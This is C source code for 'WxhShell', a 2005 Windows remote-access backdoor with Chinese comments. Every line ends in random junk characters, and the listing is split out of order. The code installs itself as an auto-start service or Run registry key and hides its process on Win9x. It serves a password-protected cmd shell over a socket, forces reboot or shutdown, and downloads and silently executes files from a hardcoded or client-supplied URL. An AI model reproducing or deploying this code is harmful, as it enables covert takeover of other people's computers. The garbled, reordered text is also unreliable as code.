    if(Boot(SHUTDOWN)) ]?9[l76O7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %XXkVK`  
    else { Ha ZFxh-(  
    closesocket(wsh); bEr.nF  
    ExitThread(0); %f[Ep 3D  
    } D?+ RJs  
    break; >4![&&  
    } >3 Ko.3&  
  // 获取shell n'64;J5  
  case 's': { Q59/ex  
    CmdShell(wsh); BxX$5u  
    closesocket(wsh); hZNEv|  
    ExitThread(0); Plz-7fy33  
    break; qCJ=Z  
  } ~Y/z=^  
  // 退出 oG_~3Kt  
  case 'x': {  ~B@ }R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cq^sq1A:  
    CloseIt(wsh); wt7.oKbW  
    break; Xn7 [n  
    } +6%7C C6  
  // 离开 m(3);)d  
  case 'q': { 4IGxI7~27#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T=? bdIl  
    closesocket(wsh); .{N\<01  
    WSACleanup(); )Ul&1UYA  
    exit(1); ye r> x  
    break; K M]Wl_z  
        } L^KdMMz;  
  } $k(9 U\y-  
  } ( ji_o^  
!5;t#4=  
  // 提示信息 I>m;G `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PbUI!Xqe`  
} #DaP=k"XV  
  } \3 KfD'L  
2v|qLf e1  
  return; rZ866\0  
} Kpu<rKP`  
j-P^Zv};u  
// shell模块句柄 6IF|3@yD  
int CmdShell(SOCKET sock) > I%zd/q?  
{ UIw?;:Y  
STARTUPINFO si; s 4IKSX  
ZeroMemory(&si,sizeof(si)); *Yp qq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pw #2<>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M-91 JOt~  
PROCESS_INFORMATION ProcessInfo; ~M[>m~8  
char cmdline[]="cmd"; Nzc>)2% N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 59qnEIi  
  return 0; GHrBK&  
} |2UauTp5yK  
HU3Vv<lz  
// 自身启动模式 j[T%'%  
int StartFromService(void) er\:U0fr#@  
{ =w,(M  
typedef struct (j`l5r#X#/  
{ ArdJ."  
  DWORD ExitStatus; 8c?8X=|D7  
  DWORD PebBaseAddress; H5^Y->  
  DWORD AffinityMask; & 3I7]Wm  
  DWORD BasePriority; sRil>6QR  
  ULONG UniqueProcessId; i0&) N,5_  
  ULONG InheritedFromUniqueProcessId; %~(~W>^A  
}   PROCESS_BASIC_INFORMATION; n1`T#%e  
9t\ [N/  
PROCNTQSIP NtQueryInformationProcess; &1$8q0  
}-@I#9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @{de$ ODu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lvig>0:M  
G\IocZ3Gz  
  HANDLE             hProcess; EreAn  
  PROCESS_BASIC_INFORMATION pbi; iDvpXn  
h&'J+b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [b pwg&Oo  
  if(NULL == hInst ) return 0; pgfu+K7?w  
"] 9_Fv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D99N#36PU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S%P3ek>3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `w(sXkeaI  
cl#OvQ  
  if (!NtQueryInformationProcess) return 0; `i{4cT8:  
<W9) Bq4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K/A ? ]y  
  if(!hProcess) return 0; (HaU,vP  
zrTY1Asw;4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n K0hTQ  
X!?wL 0n  
  CloseHandle(hProcess); yL4 -4  
?-M)54b\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8ST~$!z$  
if(hProcess==NULL) return 0; |7Yvq%E  
\Qb>:  
HMODULE hMod; s2%0#6c'c  
char procName[255]; n+S&!PB  
unsigned long cbNeeded; %`N&ti  
iPJ9Gh7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c8!j6\dC*  
)m>6hk  
  CloseHandle(hProcess); Wpa$B )xg  
EsNk<Ra  
if(strstr(procName,"services")) return 1; // 以服务启动 5D >BV *"  
@<%oIE~]F  
  return 0; // 注册表启动 3Y=,r!F.h  
} (#lm#?<)  
fLc!Sn.Y  
// 主模块 V4qZc0<,H  
int StartWxhshell(LPSTR lpCmdLine) oO}>i0ax*  
{ 6#/LyzZq|  
  SOCKET wsl; 3 pHn_R  
BOOL val=TRUE; U &f#V=Rg  
  int port=0; N_*u5mfQX  
  struct sockaddr_in door; TosPk(o(  
tgS+" ugl  
  if(wscfg.ws_autoins) Install(); _;%.1H{N  
R\i]O  
port=atoi(lpCmdLine); ENpaaW@!Y  
4E,hcu  
if(port<=0) port=wscfg.ws_port; re2Fv:4{  
c@)pKi#W  
  WSADATA data; L)j]~^P$-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8p3ZF@c~ t  
Rqt[D @;m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >zN" z)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y|Nfwqz  
  door.sin_family = AF_INET; a'o}u,e5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,OFq'}q  
  door.sin_port = htons(port); w@4t$bd7  
oT$(<$&<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +YkmLD  
closesocket(wsl); v_[)FN"]Y.  
return 1; F?!};~$=Z  
} fB@K'JQG  
P<TpG0~(  
  if(listen(wsl,2) == INVALID_SOCKET) { KLj4 LOs  
closesocket(wsl); h,Y{t?Of  
return 1; k,yc>3P;U  
} U`HXsq p}  
  Wxhshell(wsl); /[p?_EX@  
  WSACleanup(); #%9oQ6nO  
*tIdp`xT/T  
return 0; m[//_TFf]  
UA1]o5K  
} ^/ULh,w!fP  
)@sJTAK  
// 以NT服务方式启动 RcKQER  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m&(%&}g  
{ f/$-Nl.  
DWORD   status = 0; 3W%f#d$`  
  DWORD   specificError = 0xfffffff; 00$ @0  
vCYSm  0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qBf wN1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g>d7%FFn}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1oXz[V  
  serviceStatus.dwWin32ExitCode     = 0; YqK+F=0  
  serviceStatus.dwServiceSpecificExitCode = 0; -PIA;#Gs  
  serviceStatus.dwCheckPoint       = 0; B Lsdx }  
  serviceStatus.dwWaitHint       = 0; (xjoRbU*  
Fv5x6a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QYODmeu  
  if (hServiceStatusHandle==0) return; W o<PmSt9i  
({ :yw  
status = GetLastError(); .YnP% X=  
  if (status!=NO_ERROR) ~5XL@jI^  
{ _#y(w%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z&6]vN'  
    serviceStatus.dwCheckPoint       = 0; n0>5'm%ES  
    serviceStatus.dwWaitHint       = 0; YL0WUD_>  
    serviceStatus.dwWin32ExitCode     = status; 1( QWt  
    serviceStatus.dwServiceSpecificExitCode = specificError; E.En$'BvB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q 37V!  
    return; ySPlyhGF  
  } WOe{mwhhj  
24.7S LXO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e|OG-t[$*  
  serviceStatus.dwCheckPoint       = 0; fwar8 i1  
  serviceStatus.dwWaitHint       = 0; C.Wms}XA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`ZHjW~`  
} ?[NTw./'7A  
QI :/,w  
// 处理NT服务事件,比如:启动、停止 mfp`Iy"}+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~{3o(gzl  
{ Wfi:wCqZG  
switch(fdwControl) 2<\yky  
{ rTm>8et  
case SERVICE_CONTROL_STOP: 0k. #  
  serviceStatus.dwWin32ExitCode = 0; 7>c 0V&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tq4"Q BIKh  
  serviceStatus.dwCheckPoint   = 0; w<8O=  
  serviceStatus.dwWaitHint     = 0; -E,{r[Sp  
  { 0& SrKn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r7wx?{~ 28  
  } wXIe5  
  return; 2s]]!{Z#  
case SERVICE_CONTROL_PAUSE: f0HV*%8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3f7t%  
  break; }tl8(kjm  
case SERVICE_CONTROL_CONTINUE: 6@ (k8<3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nEZ-h7lzl(  
  break; q:D0$YY0  
case SERVICE_CONTROL_INTERROGATE: o q'J*6r  
  break; 5Qm.ECXV  
}; y:^>(l#;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;h\Y+Myyk  
} p8}5x 2F  
f;_K}23  
// 标准应用程序主函数 56j/w[&8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OJC*|kN-#^  
{ E-7a`S  
y[ rB"  
// 获取操作系统版本 X<@y*?D9D  
OsIsNt=GetOsVer(); cr=FMfhB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )sz 2 9  
66Cj=n5  
  // 从命令行安装 L3h xe]mr  
  if(strpbrk(lpCmdLine,"iI")) Install(); =^%Pwkz  
hjm .Ath  
  // 下载执行文件 (Db*.kd8,  
if(wscfg.ws_downexe) { VUg~[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d9Ow 2KrC  
  WinExec(wscfg.ws_filenam,SW_HIDE); qkR,<"C|`  
} 19YJ`(L`x  
VgC9'"|  
if(!OsIsNt) { fSQ3 :o  
// 如果时win9x,隐藏进程并且设置为注册表启动 <EMLiiNY  
HideProc(); ?'8MI|*l%  
StartWxhshell(lpCmdLine); aaa#/OWQZ  
} /9vMGef@  
else 59%f|.Z)  
  if(StartFromService()) s+\qie  
  // 以服务方式启动 XQg%*Rw+t  
  StartServiceCtrlDispatcher(DispatchTable); cO"Xg<#y  
else >-./kI "  
  // 普通方式启动 -T>wi J  
  StartWxhshell(lpCmdLine); `QyALcO   
J1v0 \  
return 0; lLwQridFXh  
} \`iW__  
r+W 8m?oi  
9rvxp;  
KohQ6q  
=========================================== 5yN8%_)T  
bZ@53  
Xy(SzJ %  
D*2p  
$d"f/bRWy  
1 069]  
" 4Xb}I;rM  
i6\!7D]  
#include <stdio.h> vS,G<V3B  
#include <string.h> v %PWr5]  
#include <windows.h> ^zluO   
#include <winsock2.h> N=?kEX O  
#include <winsvc.h> i!+3uHWu`)  
#include <urlmon.h> " ih>T^|  
5Z>pa`_$2  
#pragma comment (lib, "Ws2_32.lib") Qd)cFL "v  
#pragma comment (lib, "urlmon.lib") $8yGY  
CR|&VxA  
#define MAX_USER   100 // 最大客户端连接数 kjKpzdbD  
#define BUF_SOCK   200 // sock buffer JgjL$n;F  
#define KEY_BUFF   255 // 输入 buffer dmMr8-w  
# *aGzF  
#define REBOOT     0   // 重启 tH|Q4C  
#define SHUTDOWN   1   // 关机 A ** M"T  
<cS7L0h  
#define DEF_PORT   5000 // 监听端口 oB}G^t  
@ke})0 `5  
#define REG_LEN     16   // 注册表键长度 ^1& LHrT  
#define SVC_LEN     80   // NT服务名长度 kG7,1teMk  
$(mdz)Cfy  
// 从dll定义API =&g}Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aD3F!Sn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v]Q_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (,9cCnvmYU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k)GuMw  
\f Fy$  
// wxhshell配置信息 i I Nu`>I  
struct WSCFG { `h{mj|~  
  int ws_port;         // 监听端口 4a50w:Jy]  
  char ws_passstr[REG_LEN]; // 口令 F p=Q$J|  
  int ws_autoins;       // 安装标记, 1=yes 0=no O0*L9C/Q  
  char ws_regname[REG_LEN]; // 注册表键名 .AI'L|FQ%c  
  char ws_svcname[REG_LEN]; // 服务名  #=~1hk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TOF62,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 la{:RlW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oZcwbo8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d`][1rZk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NF.6(PG|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V +<AG*[  
nXaX=  
}; (<~ R[sT|  
>oaEG5%d  
// default Wxhshell configuration L<>NL$CrN  
struct WSCFG wscfg={DEF_PORT, NHVx!Kc  
    "xuhuanlingzhe", kvVz-P Jy  
    1, r Q@o  
    "Wxhshell", cb&In<q  
    "Wxhshell", teNQUIe-  
            "WxhShell Service", I=Dk'M  
    "Wrsky Windows CmdShell Service", ymVd94L  
    "Please Input Your Password: ", 4bjp*1*]  
  1, 7,VWvmWJex  
  "http://www.wrsky.com/wxhshell.exe", tnbs]6  
  "Wxhshell.exe" +dpj?  
    }; ^dKaa  
6e-h;ylS  
// 消息定义模块 '# 2J?f'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4 J2F>m40  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GoA>sK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wk#-LkI  
char *msg_ws_ext="\n\rExit."; V>j`  
char *msg_ws_end="\n\rQuit."; f]65iE?x  
char *msg_ws_boot="\n\rReboot..."; ewPdhCK  
char *msg_ws_poff="\n\rShutdown..."; Bo(l!G  
char *msg_ws_down="\n\rSave to "; 9NXiCP9A  
d?X6x  
char *msg_ws_err="\n\rErr!"; {h+E&u[zL  
char *msg_ws_ok="\n\rOK!"; 2s ,n!u Fd  
Sq]1SW3  
char ExeFile[MAX_PATH]; \@" . GM%  
int nUser = 0; XFAt\g  
HANDLE handles[MAX_USER]; BjJ gQ`X  
int OsIsNt; j?)`VLZ  
4J|t}  
SERVICE_STATUS       serviceStatus; Jm,X~Si  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aT1 W] i  
BFu9KS+@)  
// 函数声明 a8P 6-)W  
int Install(void); CP#MNNvgrw  
int Uninstall(void); R*#Q=_  
int DownloadFile(char *sURL, SOCKET wsh); ;//q jo  
int Boot(int flag); )L("t  
void HideProc(void); HCy}'}d  
int GetOsVer(void); )cBV; E<  
int Wxhshell(SOCKET wsl); qf$|z`c  
void TalkWithClient(void *cs); 2n:J7PGD  
int CmdShell(SOCKET sock); qz SI cI  
int StartFromService(void); =9MH  
int StartWxhshell(LPSTR lpCmdLine); m;1 exa  
o*BI^4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CrQ& -!Eh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~m&oa@*=y  
$466? oI  
// 数据结构和表定义 jM<Ihmh|  
SERVICE_TABLE_ENTRY DispatchTable[] = 7B :aJfxM  
{ L%Hm# eFx  
{wscfg.ws_svcname, NTServiceMain}, <xNM@!'\h  
{NULL, NULL} DQQjx>CK  
}; IKp x~  
FeRuZww._J  
// 自我安装 64s;6=  
int Install(void) rqo<Xt`  
{ $^ 3 f}IzA  
  char svExeFile[MAX_PATH]; v>PHn69PU  
  HKEY key; m,q<R1  
  strcpy(svExeFile,ExeFile); bv];Gk*Z-  
>p:fWQ6  
// 如果是win9x系统,修改注册表设为自启动 h"S/D[  
if(!OsIsNt) { .H.v c_/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^: j:;\;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <p .[E]a2_  
  RegCloseKey(key); E:OeU_\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AtYYu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tr!X2#)A!  
  RegCloseKey(key); N^at{I6C  
  return 0; KPqI(  
    } E/ )+hK&  
  } 8r,%!70  
} <3CrCEPC  
else { go5!zSs  
J z b".A  
// 如果是NT以上系统,安装为系统服务 >f/g:[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t$|6} BX  
if (schSCManager!=0) $^>vJk<  
{ r&RSQHa)  
  SC_HANDLE schService = CreateService YT8`Vz$+  
  ( z<*]h^ !3  
  schSCManager, y9<Fv|Ric  
  wscfg.ws_svcname, )YnN9"8  
  wscfg.ws_svcdisp, WKML#U]5T  
  SERVICE_ALL_ACCESS, c5pG?jr+d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w:v:znQrW  
  SERVICE_AUTO_START, .ji%%f  
  SERVICE_ERROR_NORMAL, j=4>In?x  
  svExeFile, ,Fiiw  
  NULL, M?lr#} d  
  NULL, B\yid@e  
  NULL, Yd'ke,Je  
  NULL, TXv#/@  
  NULL !y.7"G*  
  ); 3\ed4D  
  if (schService!=0) 6 H.Da]hk  
  { HS9U.G>  
  CloseServiceHandle(schService); \PJ89u0  
  CloseServiceHandle(schSCManager); `!N?#N:b)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zZ-*/THB@R  
  strcat(svExeFile,wscfg.ws_svcname); n9DFa3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tr)[q>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RqR  X  
  RegCloseKey(key); !hUyX}{`j  
  return 0; <KX#;v!I  
    } oef(i}8O@  
  } M:E#}(  
  CloseServiceHandle(schSCManager); ;{RQ+ZX'[  
} db|$7]!w  
} IZLX[y  
O8%/Id  
return 1; KW\`&ki  
} \)*qW[C$a  
H#K|SSqY?  
// 自我卸载 ,H8P mn?  
int Uninstall(void) 7 pV3#fQ  
{ C.O-iBVe#  
  HKEY key; 10(N|2'q  
u QCS%|8C  
if(!OsIsNt) { ]LjW,b"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Re_.<_$  
  RegDeleteValue(key,wscfg.ws_regname); t|%ul6{gz  
  RegCloseKey(key); PH.v3 3K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zlhr0itf  
  RegDeleteValue(key,wscfg.ws_regname); aoN[mV '  
  RegCloseKey(key); l]gf T&  
  return 0; sXA=KD8  
  } /DCUwg=0  
} zuw6YY8kQ  
} :O2N'vl47A  
else { XT)@)c7j  
`KN{0<Ne  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %BJ V$tO  
if (schSCManager!=0) " PPwJ/L(  
{ 2cL<`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u}$3.]-.?T  
  if (schService!=0) kmwFw>#  
  { ~Q5HM  
  if(DeleteService(schService)!=0) { Wp $\>  
  CloseServiceHandle(schService); *&s_u)b  
  CloseServiceHandle(schSCManager); FsjblB3?E  
  return 0; &>SE9w/ ?o  
  } r.[kD"l  
  CloseServiceHandle(schService); \oyr[so(i  
  } Zr3KzY9  
  CloseServiceHandle(schSCManager); Ex<0@Oz  
} sy;~(rpg  
} f`cO5lP/:)  
t V</ x0#  
return 1; }I"^WCyH  
} (Q&Z/Fe  
V0>,Kxk  
// 从指定url下载文件 ynhH5P|6,  
int DownloadFile(char *sURL, SOCKET wsh) 5n<Efi]j  
{ t+t&eg  
  HRESULT hr; HzV3O-Qz]  
char seps[]= "/"; K7|BXGL8r8  
char *token; 6;Bqu5_Cj  
char *file; %5b2vrg~*  
char myURL[MAX_PATH]; 5K0Isuu>>  
char myFILE[MAX_PATH]; 74_ji!  
e([}dz  
strcpy(myURL,sURL); eG.?s ;J0  
  token=strtok(myURL,seps); xpae0vw  
  while(token!=NULL) *5^h>Vk/  
  { :0/I2:  
    file=token; *`[LsG]ZF  
  token=strtok(NULL,seps); bLg1Dd7Q  
  } 5^qI6 U  
WE\V<MGS/  
GetCurrentDirectory(MAX_PATH,myFILE); c(fwl`y !x  
strcat(myFILE, "\\"); %j yLRT]H  
strcat(myFILE, file); R b'"09)$  
  send(wsh,myFILE,strlen(myFILE),0); D?$f[+  
send(wsh,"...",3,0); @>?&Mw\c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :^K|u^_>P  
  if(hr==S_OK) QM=X<?m/,=  
return 0; 72aj4k]^  
else r!+)U#8  
return 1; r>V go):s  
3/iGSG`  
} U.&=b<f(0r  
,Ao8QN  
// 系统电源模块 E8/P D  
int Boot(int flag) <Fi/!  
{ ZDlMkHJ  
  HANDLE hToken; m6s32??m  
  TOKEN_PRIVILEGES tkp; uv,t(a.^  
_|3n h;-m  
  if(OsIsNt) { N G4wtDa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h<[o;E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Py=H+d!j  
    tkp.PrivilegeCount = 1; UPH:$Fk&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n<MH\.!tM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xr-eDUEi  
if(flag==REBOOT) { *+5AN306  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CQS34&G$a  
  return 0; mDtD7FzJ  
} t<rhrW75P  
else {  vO 3fAB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OX!9T.j  
  return 0; QM OOJA  
} n(&6 E3ZcI  
  } ;sDFTKf  
  else { Pl U!-7  
if(flag==REBOOT) { {A{=RPL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?_IRO|  
  return 0; 1 Nv_;p.{  
} K*>lq|i u  
else { 6tVB}UKs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uGOvZO^v  
  return 0; ]w({5i  
} c8A //  
} !$P&`n]@  
Ie4}F|#=  
return 1; &{99Owqg  
} U)2\=%8  
M '[.ay  
// win9x进程隐藏模块 ,u/GA<'#M  
void HideProc(void) CtS*"c,j  
{ z6\Y& {  
sa{X.}i%E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kP3'BBd,  
  if ( hKernel != NULL ) [/xw5rO%  
  { lj(}{O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KnKV+:"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Q2"]f,$CQ  
    FreeLibrary(hKernel); \f .ceh;!  
  } bmFnsqo  
>J+hu;I5  
return; )=#QTiJ  
} ?J|~ G{yH  
k1W q$KCwG  
// 获取操作系统版本 iXeywO2nP  
int GetOsVer(void) zmF_-Q`c  
{ F|9 W7  
  OSVERSIONINFO winfo; Qn_*(CSp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h5>JBLawQP  
  GetVersionEx(&winfo); 7YrX3Hx 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 46Vx)xX  
  return 1; d?S7E q9`  
  else SnRk` 5t  
  return 0; % [b~4,c1  
} crG+BFi  
Vv#|% ^0  
// 客户端句柄模块 UoCFj2?C  
int Wxhshell(SOCKET wsl) s${ew.eW  
{ s0WI93+z  
  SOCKET wsh; %Sf%XNtu  
  struct sockaddr_in client; lOYzo  
  DWORD myID; "CX&2Xfe  
*%bQp  
  while(nUser<MAX_USER) A70x+mjy^T  
{ =y.?=`"  
  int nSize=sizeof(client); %i:Sf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rjHL06qE  
  if(wsh==INVALID_SOCKET) return 1; eKsc ["  
PQDW Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ED [` Y.;  
if(handles[nUser]==0) l@Uo4b^4x  
  closesocket(wsh); Ep)rEq6  
else zo4 IY`3  
  nUser++; LR|LP)I  
  } gmd-$%"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fO|oV0Rw  
)5Mf,  
  return 0; $9)|cO  
} v2][gn+58  
WW\t<O;z  
// 关闭 socket S3l$\X;6X  
void CloseIt(SOCKET wsh) }&M$  
{ +zn&DG0\X  
closesocket(wsh); D-J G0.@  
nUser--; Fg;V6s/>ts  
ExitThread(0); z)*7LI  
} >VIb|YA  
XR3=Y0YDf  
// 客户端请求句柄 kqdF)Wa am  
void TalkWithClient(void *cs) os 9X)G  
{ 8K$q6V%#  
lC):$W  
  SOCKET wsh=(SOCKET)cs; gJz~~g'  
  char pwd[SVC_LEN]; MZ]#9/  
  char cmd[KEY_BUFF]; SkU'JM7<95  
char chr[1]; G;Jqby8d  
int i,j; ^UOVXRn  
tj7{[3~-[  
  while (nUser < MAX_USER) { _8]hn[  
f sRRnD  
if(wscfg.ws_passstr) { <_(UAv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); av~dH=&=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &iYy  
  //ZeroMemory(pwd,KEY_BUFF); jg%HaA<zO  
      i=0; \qk+cK;+  
  while(i<SVC_LEN) { 6_1v~#  
6d4)7PL  
  // 设置超时 anxZ|DE  
  fd_set FdRead; G>Uam TM  
  struct timeval TimeOut; MOp06  
  FD_ZERO(&FdRead); ~ A?  
  FD_SET(wsh,&FdRead); lM/)<I\8  
  TimeOut.tv_sec=8; yCC.j%@  
  TimeOut.tv_usec=0; H & L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +OM`c7M:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KPW2e2{4@  
u^5X@ .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Z-f</v03  
  pwd=chr[0]; vMT:j  
  if(chr[0]==0xd || chr[0]==0xa) { U5_1-wV  
  pwd=0; (x"TM),Q  
  break; x.J% c[Q8  
  } [3&Y* W  
  i++; GP|G[  
    } h0;PtQb1  
sA!,)'6  
  // 如果是非法用户,关闭 socket @!;EW R]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LY> -kz]  
} !>olD_  
k#*tf:R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #A&(b}#:o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YSQB*FBz  
_hK83s4  
while(1) { 4&TTPcSt;  
yDk|ad|  
  ZeroMemory(cmd,KEY_BUFF); ~i3/Ec0\  
dM|&Y6  
      // 自动支持客户端 telnet标准   e<Pbsj  
  j=0; 9t`   
  while(j<KEY_BUFF) { <[N"W82p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SiBhf3   
  cmd[j]=chr[0]; JYQ.Y!X1O  
  if(chr[0]==0xa || chr[0]==0xd) { e7fA-,DV  
  cmd[j]=0; z@\r V@W5  
  break; HkgmZw,  
  } P[|FK(l  
  j++; [;IW'cXNq  
    } aqa%B  
lz=DP:/&  
  // 下载文件 Q"2t :  
  if(strstr(cmd,"http://")) { G'*_7HD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h"b;e2  
  if(DownloadFile(cmd,wsh)) ( Lp~:p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! y1]S .;  
  else }=d]ke9_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W>ZL[BQ  
  } caK<;bmu-  
  else { pI__<  
v^Vr^!3  
    switch(cmd[0]) { sk0N=5SB-  
  ah82S)a`}  
  // 帮助 T?p' R  
  case '?': { lu]Z2xSv  
